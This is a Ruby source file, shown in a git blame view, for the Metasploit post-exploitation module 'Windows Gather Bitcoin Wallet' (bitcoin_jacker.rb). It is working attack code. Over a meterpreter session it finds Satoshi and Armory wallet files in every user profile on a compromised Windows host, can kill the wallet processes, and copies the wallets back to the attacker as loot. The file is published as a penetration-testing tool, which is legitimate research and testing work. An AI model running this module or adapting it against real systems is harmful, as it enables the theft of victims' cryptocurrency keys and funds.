Files
metasploit-gs/modules/post/windows/gather/bitcoin_jacker.rb
T

112 lines
3.5 KiB
Ruby
Raw Normal View History

##
2017-07-24 06:26:21 -07:00
# This module requires Metasploit: https://metasploit.com/download
2013-10-15 13:50:46 -05:00
# Current source: https://github.com/rapid7/metasploit-framework
##
2012-10-23 13:24:05 -05:00
require 'msf/core/auxiliary/report'
2016-03-08 14:02:44 +01:00
class MetasploitModule < Msf::Post
2013-08-30 16:28:54 -05:00
include Msf::Auxiliary::Report
include Msf::Post::Windows::UserProfiles
include Msf::Post::File
2013-08-30 16:28:54 -05:00
def initialize(info={})
super( update_info( info,
2013-12-29 10:15:48 -06:00
'Name' => 'Windows Gather Bitcoin Wallet',
2013-08-30 16:28:54 -05:00
'Description' => %q{
2013-12-29 13:07:43 -06:00
This module downloads any Bitcoin wallet files from the target
system. It currently supports both the classic Satoshi wallet and the
more recent Armory wallets. Note that Satoshi wallets tend to be
unencrypted by default, while Armory wallets tend to be encrypted by default.
2013-08-30 16:28:54 -05:00
},
'License' => MSF_LICENSE,
2013-12-29 13:07:43 -06:00
'Author' => [
'illwill <illwill[at]illmob.org>', # Original implementation
2013-12-30 11:45:52 -06:00
'todb' # Added Armory support
2013-12-29 13:07:43 -06:00
],
'Platform' => [ 'win' ], # TODO: Several more platforms host Bitcoin wallets...
2013-08-30 16:28:54 -05:00
'SessionTypes' => [ 'meterpreter' ]
))
2013-12-29 13:07:43 -06:00
register_options([
OptBool.new('KILL_PROCESSES', [false, 'Kill associated Bitcoin processes before jacking.', false]),
])
2013-08-30 16:28:54 -05:00
end
2013-08-30 16:28:54 -05:00
def run
2013-12-29 13:07:43 -06:00
print_status("Checking all user profiles for Bitcoin wallets...")
found_wallets = false
2013-08-30 16:28:54 -05:00
grab_user_profiles().each do |user|
2013-12-28 18:57:04 -06:00
next unless user['AppData']
2013-12-29 10:15:48 -06:00
bitcoin_wallet_path = user['AppData'] + "\\Bitcoin\\wallet.dat"
2013-12-29 10:59:15 -06:00
next unless file?(bitcoin_wallet_path)
2013-12-29 13:07:43 -06:00
found_wallets = true
jack_wallet(bitcoin_wallet_path)
armory_wallet_path = user['AppData'] + "\\Armory"
session.fs.dir.foreach(armory_wallet_path) do |fname|
next unless fname =~ /\.wallet/
found_wallets = true
armory_wallet_fullpath = armory_wallet_path + "\\#{fname}"
jack_wallet(armory_wallet_fullpath)
end
end
unless found_wallets
print_warning "No wallets found, nothing to do."
2013-08-30 16:28:54 -05:00
end
end
2013-12-29 13:07:43 -06:00
def jack_wallet(wallet_path)
2013-12-29 10:59:15 -06:00
data = ""
2013-12-29 13:07:43 -06:00
wallet_type = case wallet_path
when /\.wallet$/
:armory
when /wallet\.dat$/
:satoshi
else
:unknown
end
if wallet_type == :unknown
print_error "Unknown wallet type: #{wallet_path}, nothing to do."
return
end
print_status("#{wallet_type.to_s.capitalize} Wallet found at #{wallet_path}")
print_status("Jackin' wallet...")
2013-12-29 13:07:43 -06:00
kill_bitcoin_processes if datastore['KILL_PROCESSES']
2013-08-30 16:28:54 -05:00
begin
2013-12-29 10:15:48 -06:00
data = read_file(wallet_path) || ''
2013-08-30 16:28:54 -05:00
rescue ::Exception => e
2013-12-29 10:15:48 -06:00
print_error("Failed to download #{wallet_path}: #{e.class} #{e}")
2013-08-30 16:28:54 -05:00
return
end
2013-08-30 16:28:54 -05:00
if data.empty?
2013-12-29 13:07:43 -06:00
print_error("No data found, nothing to save.")
2013-08-30 16:28:54 -05:00
else
2013-12-29 10:15:48 -06:00
loot_result = store_loot(
2013-12-29 13:07:43 -06:00
"bitcoin.wallet.#{wallet_type}",
2013-08-30 16:28:54 -05:00
"application/octet-stream",
session,
data,
2013-12-29 10:15:48 -06:00
wallet_path,
2013-12-29 13:07:43 -06:00
"Bitcoin Wallet (#{wallet_type.to_s.capitalize})"
2013-08-30 16:28:54 -05:00
)
2013-12-29 10:15:48 -06:00
print_status("Wallet jacked: #{loot_result}")
2013-08-30 16:28:54 -05:00
end
end
2013-12-29 13:07:43 -06:00
def kill_bitcoin_processes
2013-12-28 18:57:04 -06:00
client.sys.process.get_processes().each do |process|
2013-12-29 10:59:15 -06:00
pname = process['name'].downcase
2013-12-29 13:07:43 -06:00
if pname == "bitcoin.exe" || pname == "bitcoind.exe" || pname == "armoryqt.exe"
2013-12-28 18:57:04 -06:00
print_status("#{process['name']} Process Found...")
print_status("Killing Process ID #{process['pid']}...")
2013-12-29 13:07:43 -06:00
session.sys.process.kill(process['pid'])
2013-08-30 16:28:54 -05:00
end
end
end
end